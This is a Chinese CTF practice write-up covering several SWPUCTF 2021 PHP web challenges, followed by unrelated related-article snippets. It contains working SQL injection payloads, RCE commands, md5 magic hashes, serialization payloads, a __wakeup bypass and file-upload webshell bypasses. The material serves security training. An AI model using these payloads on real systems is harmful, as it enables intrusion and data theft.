NSS刷题
[SWPUCTF 2021 新生赛]jicao
类型:PHP、代码审计、RCE
主要知识点:json_decode()函数

json_decode():对JSON字符串解码,转换为php变量
用法:
<?php
$json = {"ctf":"web","question":18};
var_dump(json_decode($json));
var_dump(json_decode($json, true));
?>
代码审计:
<?php
highlight_file('index.php');
include("flag.php"); //包含一个php文件里面可能有一个$flag对象值为flag
$id=$_POST['id']; //发送一个POST请求,传入一个参数id,定义为对象$id
$json=json_decode($_GET['json'],true);
//发送一个GET请求,传入一个参数json;
//true将解析结果以数组形式返回;
//将解析的数组赋值给变量$json
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
//当id==wllmNB及$json进行JSON解码后的x的关联值为wllm时,输出$flag的值
?>
结果:

[SWPUCTF 2021 新生赛]easy_md5
类型:弱比较、PHP、数组绕过
主要知识点:md5弱比较、数组绕过

代码审计:
<?php highlight_file(__FILE__);include 'flag2.php';if (isset($_GET['name']) && isset($_POST['password'])){$name = $_GET['name']; //获取GET请求中的'name'参数值,并赋值给对象$name$password = $_POST['password']; //获取POST请求中的'password'参数值,并赋值给对象$passwordif ($name != $password && md5($name) == md5($password)){echo $flag;}//如果$name的值不等于$password的值,且$name的md5值等于$password的md5值,输出$flag的值else {echo "wrong!";}//条件不满足输出"wrong!"}
else {echo 'wrong!';
}
//如果未提供'name'或'password'参数,输出"wrong!"
?>
特殊字符串
某些特殊的字符串,加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同。此时就是值不同但md5或sha1值相同
常见的密文以0e开头的字符串
md5:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

数组绕过
md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,两个数组经过加密后得到的都是NULL,也就是相等的。故传入两个不同的数组经md5()加密会返回为NULL

[SWPUCTF 2021 新生赛]include
类型:PHP伪协议、文件包含、PHP
主要知识点:php://filter伪协议

发现并没有上传文件的地方
尝试用php://filter伪协议过滤一下flag.php文件(一般flag都在flag.php中)
条件:
只需要读取,allow_url_fopen=on;allow_url_include=off
用法:
?file=php://fileter/read=<过滤器名称>/resource=<要过滤的文件(数据流)>
补充:
php://filter是一种元封装器:设计用于"数据流打开”时的"筛选过滤”应用,对本地磁盘文件进行读写,输出base64加密后的信息
convert.base64-encode:转换过滤器,用于过滤base64编码

扩展:
allow_url_fopen:配置选项,默认开启,决定了PHP 是否能够通过URL(而不是本地文件路径)来打开文件,为on时
,fopen()和file_get_contents()等与文件操作相关的函数可以读取和写入远程文件allow_url_include:配置选项,默认关闭,为on时,PHP 允许通过 URL 的形式,从远程服务器包含和执行PHP 文件
进入到 flag.php页面,发现一串base64编码,解码后即为flag

[SWPUCTF 2021 新生赛]easy_sql
类型:SQL注入
主要知识点:union联合注入

先用?id=1'尝试发现没变化这时发现网站标题叫“参数是wllm”,所以用?wllm=1'尝试,回显成功

用?wllm=1\判断闭合方式,发现是单引号注入

用union联合注入尝试
?wllm=-1' union select 1,2,3--+
回显成功
查询库
?wllm=-1' union select 1,2,database()--+

爆表
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

爆列
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

查看flag
?wllm=-1' union select 1,2,group_concat(flag) from test_tb--+

[SWPUCTF 2021 新生赛]easyrce
类型:RCE、PHP
主要知识点:RCE

直接?url=system("ls");

发现回显index.php文件,查看其目录?url=system("ls /");

发现目录中有疑似flag的内容,用?url=system("cat /flllllaaaaaaggggggg");查看

[第五空间 2021]WebFTP
类型:目录扫描、信息收集、.git泄露
主要知识点:dirsearch的使用

用bp抓包尝试爆破但发现需要还需要验证码爆破难度大所以应该不是弱口令爆破
用dirsearch扫描发现git泄露

进入查看

找了一圈没发现flag
重新看扫描结果发现有个phpinfo.php页面,进入ctrl+f搜索flag,得到flag

[SWPUCTF 2021 新生赛]babyrce
类型:空格绕过、RCE、Cookie注入
主要知识点:Cookie注入、shell_exec()绕过

修改cookie值为admin=1得到rasalghul.php文件

进入查看

代码审计:
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {$ip=$_GET['url'];if(preg_match("/ /", $ip)){die('nonono');}//正则匹配空格被禁用$a = shell_exec($ip);//shell_exec()将命令的输出作为字符串返回,而不是打印到标准输出。echo $a;
}
?>
将flag放入1.txt文件中,访问1.txt文件即可得到flag(但这题直接cat%09/f*就可以出来了不需要再访问1.txt文件)

[SWPUCTF 2021 新生赛]ez_unserialize
类型:反序列化、PHP
主要知识点:构造pop链

用御剑扫描

进入网页,发现一个php文件

访问

代码审计:
<?phperror_reporting(0);
show_source("cl45s.php");class wllm{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __destruct(){if($this->admin === "admin" && $this->passwd === "ctf"){include("flag.php");echo $flag; //目标}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}$p = $_GET['p'];
unserialize($p);?>
构造pop链,打开phpstorm
<?phpclass wllm{public $admin;public $passwd;// public function __construct(){
// $this->admin ="user";
// $this->passwd = "123456";
// }
//
// public function __destruct(){
// if($this->admin === "admin" && $this->passwd === "ctf"){
// include("flag.php");
// echo $flag;
// }else{
// echo $this->admin;
// echo $this->passwd;
// echo "Just a bit more!";
// }
// }
}//$p = $_GET['p'];
//unserialize($p);$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
echo serialize($w);
?>

输入/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}得到flag

[SWPUCTF 2021 新生赛]easyupload2.0
类型:文件上传、文件头绕过
主要知识点:不常用的php可执行文件后缀
需要提交jpg文件

用bp抓包 ,修改后缀,尝试双写绕过不可行,用其他php可执行文件的扩展名pht、phtml

用蚁剑连接,成功绕过

打开找flag

[SWPUCTF 2021 新生赛]easyupload1.0
类型:文件上传、MIME绕过、文件头绕过
主要知识点:前端绕过

需要提交jpg文件

用bp抓包修改后缀

连接蚁剑

打开找flag

但是发现这个flag是错误的
用phpinfo查看php服务器的配置信息

ctrl+f搜索flag

或者直接用蚁剑打开终端用env命令查看环境变量也可以发现flag

[SWPUCTF 2021 新生赛]no_wakeup
类型:反序列化、PHP
主要知识点:构造pop链、绕过_wakeup()

点进去查看

代码审计
<?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);} //反序列化之前触发wakeup,给passwd赋值,导致passwd不等于wllmpublic function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag; //目标}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?>
构造pop链
<?php
class HaHaHa{public $admin;public $passwd;// public function __construct(){
// $this->admin ="user";
// $this->passwd = "123456";
// }
// public function __wakeup(){
// $this->passwd = sha1($this->passwd);
// }
//
// public function __destruct(){
// if($this->admin === "admin" && $this->passwd === "wllm"){
// include("flag.php");
// echo $flag;
// }else{
// echo $this->passwd;
// echo "No wake up";
// }
// }
}
//
//$Letmeseesee = $_GET['p'];
//unserialize($Letmeseesee);$h=new HaHaHa();
$h->admin="admin";
$h->passwd="wllm";
echo serialize($h);
?>

由于_wakeup()函数将wllm加密导致执行echo $this->passwd;echo "No wake up";

故需要绕过_wakeup(),变量数量大于真实的变量数量即可绕过_wakeup()的执行

相关文章:
NSS刷题
[SWPUCTF 2021 新生赛]jicao 类型:PHP、代码审计、RCE 主要知识点:json_decode()函数 json_decode():对JSON字符串解码,转换为php变量 用法: <?php $json {"ctf":"web","question"…...
CUDA专项
1、讲讲shared memory bank conflict的发生场景?以及你能想到哪些解决方案? CUDA中的共享内存(Shared Memory)是GPU上的一种快速内存,通常用于在CUDA线程(Thread)之间共享数据。然而࿰…...
C# 判断Access数据库中表是否存在,表中某个字段是否存在
在C#中判断Access数据库中某个表是否存在以及该表中某个字段是否存在,可以通过以下步骤实现: 判断表是否存在 可以使用ADO.NET中的OleDbConnection.GetOleDbSchemaTable方法来获取数据库的架构信息,并检查特定的表是否存在。 using System…...
【C++】学习笔记——模板进阶
文章目录 十一、模板进阶1. 非类型模板参数2. 按需实例化3. 模板的特化类模板的特化 4. 模板的分离编译 未完待续 十一、模板进阶 1. 非类型模板参数 模板参数分为类型形参和非类型形参 。类型形参即:出现在模板参数列表中,跟在class或者typename之类的…...
JAVA系列 小白入门参考资料 接口
目录 接口 接口的概念 语法 接口使用 接口实现用例 接口特性 实现多个接口和实现用例 接口间的继承 接口 接口的概念 在现实生活中,接口的例子比比皆是,比如:笔记本上的 USB 口,电源插座等。 电脑的 USB 口上&am…...
日报表定时任务优化历程
报表需求背景 报表是一个很常见的需求,在项目中后期往往会需要加多种维度的一些统计信息,今天就来谈谈上线近10个月后的一次报表优化优化之路(从一天报表跑需要五分钟,优化至秒级) 需求:对代理商进行日统计…...
excel表格里,可以把百分号放在数字前面吗?
在有些版本里是可以的,这样做: 选中数据,鼠标右键,点击设置单元格格式,切换到自定义,在右侧栏输入%0,点击确定就可以了。 这样设置的好处是,它仍旧是数值,并且数值大小没…...
应用案例 | 商业电气承包商借助Softing NetXpert XG2节省网络验证时间
一家提供全方位服务的电气承包商通过使用Softing NetXpert XG2顺利完成了此次工作任务——简化了故障排查的同时,还在很大程度上减少了不必要的售后回访。 对已经安装好的光纤或铜缆以太网网络进行认证测试可能会面临不同的挑战,这具体取决于网络的规模、…...
【JAVA语言-第20话】多线程详细解析(二)——线程安全,非线程安全的集合转换成线程安全
目录 线程安全 1.1 概述 1.2 案例分析 1.3 解决线程安全问题 1.3.1 使用synchronized关键字 1.3.1.1 同步代码块 1.3.1.2 同步方法 1.3.2 使用Lock锁 1.3.2.1 概述 代码示例: 1.4 线程安全的类 1.4.1 非线程安全集合转换成线程安全集合 1.5 总结 …...
区块链中的加密算法及其作用
区块链技术以其去中心化、不可篡改、透明公开的特性,在全球范围内引发了广泛的关注和讨论。其中,加密算法作为区块链技术的核心组成部分,对于维护区块链网络的安全、确保数据的完整性和真实性起到了至关重要的作用。本文将详细介绍区块链中常…...
微信小程序跳转微信管理平台配置的客服及意见页面
<button open-type"contact" bindcontact"handleContact" session-from"sessionFrom">帮助与客服</button> 不需要路径 在当前小程序中会自动进入 open-type"contact" 其他参数不用修改 只修改这个参数对应表单组件 /…...
灌溉机器人 状压dp
灌溉机器人 题目描述 农田灌溉是一项十分费体力的农活,特别是大型的农田。小明想为农民伯伯们减轻农作负担,最近在研究一款高科技——灌溉机器人。它可以在远程电脑控制下,给农田里的作物进行灌溉。 现在有一片 N 行 M 列的农田。农田的土…...
用于接收参数的几个注解
了解四种主要请求方法的传参格式 GET方法: 参数通常通过URL的查询字符串(query string)传递,形式为key1value1&key2value2。示例:http://example.com/api/resource?key1value1&key2value2 POST方法…...
Flask-Login 实现用户认证
Flask-Login 实现用户认证 Flask-Login 是什么 Flask-Login 是 Flask 中的一个第三方库,用于处理用户认证和管理用户会话,它提供了一组工具和功能,使得在 Flask 应用程序中实现用户认证变得更加简单和方便。 如何使用 Flask-Login 1.安装…...
基于WPF的DynamicDataDisplay曲线显示
一、DynamicDataDisplay下载和引用 1.新建项目,下载DynamicDataDisplay引用: 如下图: 二、前端开发: <Border Grid.Row"0" Grid.Column"2" BorderBrush"Purple" BorderThickness"1"…...
股票问题(至多两次购买
class Solution {public int maxProfit(int[] prices) {int[] dpnew int[4];dp[0]-prices[0];//第一次持有dp[1]0;dp[2]-prices[0];//第二次持有dp[3]0;for(int i1;i<prices.length;i){dp[0]Math.max(dp[0],-prices[i]);dp[1]Math.max(dp[1],dp[0]prices[i]);dp[2]Math.max(…...
车辆运动模型中LQR代码实现
一、前言 最近看到关于架构和算法两者关系的一个描述,我觉得非常认同,分享给大家。 1、好架构起到两个作用:合理的分解功能、合理的适配算法; 2、好的架构是好的功能的必要条件,不是充分条件,一味追求架构…...
Springboot集成feign远程调用
需求:在leadnews-wemedia微服务里需要调用leadnews-article微服务的接口。新建一个支持feign调用的名为heima-leadnews-feign-api的模块 heima-leadnews-feign-api的pom文件里导入openfeign依赖 <dependency><groupId>org.springframework.cloud</g…...
构建NFS远程共享存储
nfs-server:10.1.59.237 nfs-web:10..159.218 centos7,服务端和客户端都关闭防火墙和selinux内核防火墙,如果公司要求开启防火墙,那需要放行几个端口 firewall-cmd --add-port2049/tcp --permanent firewall-cmd --add-port111/tcp --permanent firew…...
X9C103SIZT1 数字电位计 IC 10K SOIC-8 参数 应用案例
X9C103SIZT1 是一款数字电位器,属于 X9C103 系列。它是一款100抽头的非易失性数字电位器,阻值为 10 kOhm,封装形式为 SOIC-8。这款器件常用于需要调整电子设备阻值的应用中,如音频设备、电源管理以及传感器校准等。 X9C103SIZT1 的…...
用TensorFlow Lite Micro在Arduino上跑个‘Hello World’:从模型部署到LED闪烁的完整流程
在Arduino Nano 33 BLE Sense上部署TinyML模型的实战指南 当微控制器遇上机器学习,TinyML技术正在重新定义边缘计算的边界。本文将带您完成从TensorFlow Lite模型训练到Arduino硬件部署的全流程,通过控制LED亮度直观展示正弦波预测结果,让算…...
我的世界手机版烦人的村民整合包下载基岩国际版2026最新版
在《我的世界》庞大的模组生态中,烦人的村民整合包(Annoying Villagers) 凭借颠覆性的 NPC 设定、硬核战斗机制与深度剧情互动,成为 Java 版最具影响力的高难度生存整合包之一。由 Pugilist_Steve 主导开发,最新 6.0 版…...
【机器学习】集成学习(Boosting)——XGBoost算法(原理+推导+实战)
1. XGBoost为什么能成为竞赛冠军的标配? 第一次参加Kaggle比赛时,我完全被排行榜惊呆了——前50名的解决方案清一色都在用XGBoost。当时很不理解:明明有更"高级"的神经网络,为什么大家偏爱这个看似传统的算法࿱…...
别再纠结了!KVM虚拟化实战:RAW和QCOW2磁盘格式到底怎么选?附qemu-img保姆级操作指南
KVM虚拟化存储选型实战:RAW与QCOW2的深度抉择与效能调优 当你的KVM虚拟机开始频繁弹出"存储空间不足"的警告,或是需要为关键业务系统建立可靠的快照机制时,面对RAW和QCOW2这两种主流磁盘格式,技术决策就变得尤为关键。这…...
STM32F4上给GUI换“活字”:FreeType2.13.2移植实战(含字形缓存优化)
STM32F4嵌入式GUI矢量字体革命:FreeType2.13.2深度移植与性能突围 在嵌入式系统领域,GUI界面的美观度与多语言支持能力正成为产品差异化的关键要素。传统点阵字体方案如同活字印刷时代的铅字,每个字号、每种语言都需要独立制作字库ÿ…...
ARM-MPU实战:从寄存器配置到内存安全防护
1. ARM-MPU基础概念与核心价值 第一次接触ARM-MPU时,我盯着开发板反复确认了三遍接线——明明程序逻辑完全正确,却总是莫名其妙进入HardFault中断。后来才发现是某个野指针改写了关键数据区,这种隐蔽的错误让我意识到内存保护的重要性。ARM-M…...
Keil5 UV4目录下的global.prop文件,除了改黑色背景还能玩出什么花样?
Keil5 UV4目录下的global.prop文件:从黑色主题到深度定制指南 如果你已经厌倦了Keil5默认的白色界面,或者对网上流传的"黑色背景修改教程"感到意犹未尽,那么这篇文章将带你深入探索global.prop这个配置文件的无限可能。作为Keil μ…...
GPU加速向量搜索实战:基于cuvs实现Faiss性能飞跃与大规模向量检索
1. 项目概述:当传统CPU计算成为瓶颈,我们如何加速向量搜索? 如果你最近在折腾大模型应用、推荐系统或者图像检索,大概率会碰到一个绕不开的核心问题:向量相似性搜索。简单来说,就是把文本、图片、音频这些非…...
拆解OpenWrt的.ipk安装包:从文件结构到手动安装,彻底搞懂opkg底层逻辑
OpenWrt软件包深度解析:从.ipk结构到手动安装全指南 1. OpenWrt软件包管理机制揭秘 对于OpenWrt用户来说,opkg命令是日常管理软件包的基础工具。但当你遇到网络连接问题无法在线安装,或者需要定制修改软件包时,理解其背后的工作机…...
英雄联盟智能工具箱:5个核心功能如何彻底改变你的游戏体验
英雄联盟智能工具箱:5个核心功能如何彻底改变你的游戏体验 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 还在为繁琐的游戏操作而…...

